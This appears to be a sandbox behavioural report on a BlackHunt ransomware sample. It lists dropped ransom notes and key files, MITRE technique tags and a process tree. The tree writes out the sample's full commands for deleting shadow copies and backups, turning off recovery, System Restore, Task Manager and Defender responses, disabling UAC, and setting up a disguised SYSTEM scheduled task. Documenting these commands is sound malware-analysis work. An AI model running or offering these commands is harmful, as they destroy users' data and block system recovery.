File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Pohnpei	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\include\#BlackHunt_ReadMe.hta	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Tripoli	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-lib-profiler-common.xml	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fr\#BlackHunt_ReadMe.hta	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\vlc.mo	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ps\#BlackHunt_Private.key	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\New_Skins.url	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\layers.png	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\El_Salvador	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\#BlackHunt_Private.key	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-charts.xml	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\#BlackHunt_Private.key	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\an\#BlackHunt_ReadMe.hta	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\SendMail.api	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Buenos_Aires	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp_5.5.0.165303\#BlackHunt_ReadMe.txt	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\org.eclipse.equinox.simpleconfigurator\bundles.info	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sl\#BlackHunt_Private.key	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-core.jar	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\jsse.jar	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp_5.5.0.165303\#BlackHunt_Private.key	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Zurich	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\epl-v10.html	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ko\LC_MESSAGES\#BlackHunt_ReadMe.txt	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\or\#BlackHunt_ReadMe.txt	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Search5.api	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File created	C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\#BlackHunt_ReadMe.txt	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\#BlackHunt_Private.key	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Krasnoyarsk	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.model.workbench_1.1.0.v20140512-1820.jar	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-util-enumerations_ja.jar	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cs\#BlackHunt_ReadMe.txt	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\#BlackHunt_Private.key	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fy\#BlackHunt_ReadMe.txt	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\feature.xml	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\#BlackHunt_Private.key	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-keyring-impl.jar	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Africa\Casablanca	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Qyzylorda	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1636	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
400	vssadmin.exe
3064	vssadmin.exe
2156	vssadmin.exe
3884	vssadmin.exe
344	vssadmin.exe
2932	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1284	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1188	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2000	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
Token: SeRestorePrivilege	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
Token: SeBackupPrivilege	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
Token: SeTakeOwnershipPrivilege	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
Token: SeAuditPrivilege	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
Token: SeSecurityPrivilege	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
Token: SeIncBasePriorityPrivilege	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
Token: SeBackupPrivilege	3168	vssvc.exe
Token: SeRestorePrivilege	3168	vssvc.exe
Token: SeAuditPrivilege	3168	vssvc.exe
Token: SeBackupPrivilege	3136	wbengine.exe
Token: SeRestorePrivilege	3136	wbengine.exe
Token: SeSecurityPrivilege	3136	wbengine.exe
Token: SeSecurityPrivilege	212	wevtutil.exe
Token: SeBackupPrivilege	212	wevtutil.exe
Token: SeSecurityPrivilege	1212	wevtutil.exe
Token: SeBackupPrivilege	1212	wevtutil.exe
Token: SeSecurityPrivilege	3264	wevtutil.exe
Token: SeBackupPrivilege	3264	wevtutil.exe
Token: SeSecurityPrivilege	1924	wevtutil.exe
Token: SeBackupPrivilege	1924	wevtutil.exe
Token: SeDebugPrivilege	1284	taskkill.exe
Token: SeSecurityPrivilege	3824	wevtutil.exe
Token: SeBackupPrivilege	3824	wevtutil.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2264 wrote to memory of 2688	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	155
PID 2264 wrote to memory of 2688	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	155
PID 2264 wrote to memory of 2688	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	155
PID 2264 wrote to memory of 2688	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	155
PID 2264 wrote to memory of 2760	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	29
PID 2264 wrote to memory of 2760	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	29
PID 2264 wrote to memory of 2760	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	29
PID 2264 wrote to memory of 2760	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	29
PID 2264 wrote to memory of 2696	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	151
PID 2264 wrote to memory of 2696	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	151
PID 2264 wrote to memory of 2696	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	151
PID 2264 wrote to memory of 2696	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	151
PID 2688 wrote to memory of 2728	2688	cmd.exe	152
PID 2688 wrote to memory of 2728	2688	cmd.exe	152
PID 2688 wrote to memory of 2728	2688	cmd.exe	152
PID 2264 wrote to memory of 2664	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	149
PID 2264 wrote to memory of 2664	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	149
PID 2264 wrote to memory of 2664	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	149
PID 2264 wrote to memory of 2664	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	149
PID 2760 wrote to memory of 1764	2760	cmd.exe	147
PID 2760 wrote to memory of 1764	2760	cmd.exe	147
PID 2760 wrote to memory of 1764	2760	cmd.exe	147
PID 2264 wrote to memory of 2656	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	146
PID 2264 wrote to memory of 2656	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	146
PID 2264 wrote to memory of 2656	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	146
PID 2264 wrote to memory of 2656	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	146
PID 2264 wrote to memory of 2796	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	145
PID 2264 wrote to memory of 2796	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	145
PID 2264 wrote to memory of 2796	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	145
PID 2264 wrote to memory of 2796	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	145
PID 2696 wrote to memory of 2572	2696	cmd.exe	143
PID 2696 wrote to memory of 2572	2696	cmd.exe	143
PID 2696 wrote to memory of 2572	2696	cmd.exe	143
PID 2264 wrote to memory of 2564	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	142
PID 2264 wrote to memory of 2564	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	142
PID 2264 wrote to memory of 2564	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	142
PID 2264 wrote to memory of 2564	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	142
PID 2264 wrote to memory of 2864	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	141
PID 2264 wrote to memory of 2864	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	141
PID 2264 wrote to memory of 2864	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	141
PID 2264 wrote to memory of 2864	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	141
PID 2264 wrote to memory of 2712	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	137
PID 2264 wrote to memory of 2712	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	137
PID 2264 wrote to memory of 2712	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	137
PID 2264 wrote to memory of 2712	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	137
PID 2264 wrote to memory of 2652	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	135
PID 2264 wrote to memory of 2652	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	135
PID 2264 wrote to memory of 2652	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	135
PID 2264 wrote to memory of 2652	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	135
PID 2264 wrote to memory of 2552	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	133
PID 2264 wrote to memory of 2552	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	133
PID 2264 wrote to memory of 2552	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	133
PID 2264 wrote to memory of 2552	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	133
PID 2264 wrote to memory of 2992	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	132
PID 2264 wrote to memory of 2992	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	132
PID 2264 wrote to memory of 2992	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	132
PID 2264 wrote to memory of 2992	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	132
PID 2264 wrote to memory of 2340	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	130
PID 2264 wrote to memory of 2340	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	130
PID 2264 wrote to memory of 2340	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	130
PID 2264 wrote to memory of 2340	2264	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe	130
PID 2664 wrote to memory of 2032	2664	cmd.exe	31
PID 2664 wrote to memory of 2032	2664	cmd.exe	31
PID 2664 wrote to memory of 2032	2664	cmd.exe	31

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
"C:\Users\Admin\AppData\Local\Temp\2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2760
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2836
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2424
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe" /F
  2⤵
  PID:1192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2712
- C:\Windows\System32\cmd.exe
